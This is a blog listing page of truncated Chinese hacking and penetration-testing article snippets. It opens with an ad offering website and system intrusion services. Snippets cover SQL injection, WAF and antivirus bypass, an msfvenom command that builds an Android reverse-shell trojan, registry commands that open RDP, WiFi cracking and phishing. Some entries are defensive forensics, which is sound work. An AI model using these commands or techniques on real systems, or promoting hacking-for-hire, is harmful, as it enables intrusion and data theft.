-
[站外广告]业务列表介绍和一般分类
业务列表介绍和一般分类：类别：攻击入侵破解开发1：攻击业务订单：暂时取消所有此类业务订单[仅销售常规IDC流量]2：入侵业务清单：包括网站源代码，办公系统，黑色系统，教育系统等。[接受授权的业务] ...
-
-
技术研究 | 绕过WAF的常见Web漏洞利用分析
前言本文以最新版安全狗为例，总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法，希望能起到抛砖引玉的效果。如果师傅们有更好的方法，烦请不吝赐教。PS：本文仅用于技术研究与讨论，严禁用于任何非法用途，违者后果自负，作者与平台不承担任何责任测试环境PHPStudy（PHP5.4.45+Apa...
-
floor()报错注入详解
0x01简述floor报错注入也有叫group报错注入的，都一样，指的都是他们。floor报错注入我想大多数人跟我一样，都是会用而不明白其中的原理。这个问题困扰了在下好长时间了，所以决定好好研究下，最终产出了这篇文章，如果各位观众老爷觉得写的还行，麻烦点个关注，如果有问题也请直接联系指正，在下有礼...
-
vultr外网安装kali渗透系统
1.介绍https://www.vultr.com一个挺有名的vps服务商用邮箱注册，支持支付宝watch付款。支付自定义iso安装。可以利用这个安装kali渗透测试系统。2.购买vpsvps根据自身实际需要，包括性能使用途径。按需求选择。实际...
-
记一次针对SupeSite的中转注入实战
近期在一次演练行动中，对某目标进行了一次渗透测试，期间用到了sqlmap的中转注入技术，还是很有收获的，记录下来和大家共同分享，由于是实战，免不了部分地方是要马赛克的，大家见谅。免责声明：本文中提到的漏洞利用方法和脚本仅供研究学习使用，请遵守《网络安全法》等相关法律法规。手工注入打开网页，拉到最底看...
-
一条命令修改windows注册表
以修改windows远程桌面端口3389为3000为例子。修改注册表，命令如下：REGADD“HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp”/v“PortNumb...
-
xp/2003开关3389指令
开启3389：@echoofftitle开启3389clsrem开启3389regadd“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer”/vfDenyTSConnections/tREG_DW...
-
挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用
今天分享的文章是对HTTPPUT方法开启漏洞的多种应用讲析，在实战场景中，首先我们要确定目标网站是否启用了HTTPPUT方法，如果启用的话，我们就可以结合多种利用工具和相关方法，向目标网站上传Meterpreter反弹shell，实现进一步的渗透控制。一起来看看。HTTPPUT方法介绍HTTP...
-
新人零基础接触黑客知识的学习方法
今天有许多人问我:“我看了你的文章了，但是我是新人，有没有什么学习方法啊?”我回答的是;“当然有啊，不过人和人不同，方法是自己总结出来的，就和我前面文章中介绍的名词一样，都是我在学习中根据自己的经验和对他的认识总结出来的。”下面呢我就把我自己的学习经验写出来给大家参考下，大家可以根据我的方法去总结套...
-
-
黑客技术webshell免杀的技巧
0x00：前言由于杀软的规则在不断更新所以很多之前的过杀软方法基本上都不行了而且随着php7逐渐扩张assert马也将被淘汰所以本文将提出几种免杀思路效果很好而且不会被杀软的正则和沙盒规则约束。0x01：自定义加密Bypass部分杀软会直接将一些编码函数如Base64、编码后的关键字或组...
-
2021年黑客攻防演练信息收集实战技巧
前言攻防演练里最重要的环节莫过于信息收集，熟话说，要想打点打得好，信息收集少不了。在各大公司招兵买马之际，各位师傅也来查缺补漏，信息收集你真的都会了嘛？搜索引擎这里我们使用fofa来举例，为什么使用fofa来举例呢，不是因为fofa有多好（真香），是因为咱只买了fofa的会员。fofa既可以搜索到部...
-
自主搭建的三层网络域渗透靶场打靶记录
前言假期马上结束了，闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的，质量自以为还可以。目前此靶场已在vulnstack开源，下载链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/9/文中若有不当之处还请各位大佬多多点评...
-
常见网站劫持案例及解析
攻击者在入侵网站后，常常会通过恶意劫持流量来获取收益，从而实现流量变现。有一些黑帽劫持的手法堪称防不胜防，正常的访问行为很难发现异常。今天给大家分享一下常见的网站劫持手法和排查思路。我们可以按照基于不同隐藏目的的常见劫持手法，来做一个简单的分类：1、将爬虫与用户正常访问分开，实现搜索引擎快照劫持2...
-
从Web日志还原SQL注入拖走的数据
利用SQL注入漏洞拖库，从而导致数据泄漏。一般的排查方式，我们可以使用关键字进行搜索，找到可疑的url尝试进行漏洞复现，通过Web访问日志来还原攻击路径，从而确定问题的根源。但是，有一个问题却一直困扰着我，攻击者通过SQL注入漏洞到底获取了什么数据？是所有的数据，还只是访问了其中的一张表？理论上，假...
-
使用kali生成木马入侵安卓手机
行动开始先查看kali的ip，我的是1.114然后输入命令：msfvenom-pandroid/meterpreter/reverse_tcpLHOST=你kali的ipLPORT=5555R>/root/apk.apk5555是设置的端口，可以自己更改显示这个说明已经生成...
-
aircrack-ng无线网WIFI破解教程
一直准备找个时间来写个wifi破解教程，因为很多人都想学wifi破解，但是网上的教程都太乱，而且弄来弄错容易错，那是对于wifi破解的原理没有充分的认识，这次准备纯码字给大家通俗的讲解wifi破解，破解工具以aircrack-ng为例，这是一个很强大且具有代表性的工具，网上很多其他的破解工具都是基于...
-
黑客技术学习：不同黑客入侵网站的基本步骤是什么？
如何入侵指定网站，入侵网站应该有什么样的步骤，相信很多朋友都不知道黑客是如何入侵网站的，接下来黑客信息网来给大家科普科普不同的黑客都是怎么样去入侵网站的，首先入侵指定网站是需要条件的，入侵前一定要先观察这个网站是动态还是静态的。介绍下什么样站点可以入侵：我认为必须是动态的网站如ASP、PHP、J...
-
黑客报道：Chrome再次被曝0day漏洞
一波未平一波又起，4月13日有安全人员在Twitter上公布了Chrome的0day漏洞PoC。该漏洞可以启动计算器应用程序，一时间好友圈里都被计算器刷屏了。但没想到仅隔一天，在4月14日，Chrome又被曝了第二个0day漏洞。并且其PoC同样也被安全人员在Twitter上公开。据悉，该漏洞影响了...
-
这些黑客技术你也能轻松看懂
黑客技术总被渲染的很炫酷。但其实作为普通人的你我也能了解其中的道道。多了解一些，安全上网，保护自己的数据安全。1、键盘捕获进行键盘捕获而使用的工具中有软件和硬件，都可以把按键顺序记录在日志文件里，还有可能记录个人邮箱和密码。软件的话比较有名的是Keylogger，主要针对安装的程序来获取按键顺序...
-
红蓝对抗钓鱼篇之从入门到放弃
前言上一章讲到邮件服务器的搭建和使用，那么这章就具体讲解利用方式。在大型企业边界安全做的越来越好的情况下，不管是APT攻击还是红蓝对抗演练，钓鱼和水坑攻击被越来越多的应用。钓鱼往往需要免杀技术的支撑，但本章只讲述钓鱼和些许免杀技术，免杀系列学习在后续讲解。一、钓鱼小技巧1.1LNK快捷方式l...
网络安全 第21页
滇ICP备19002590号-1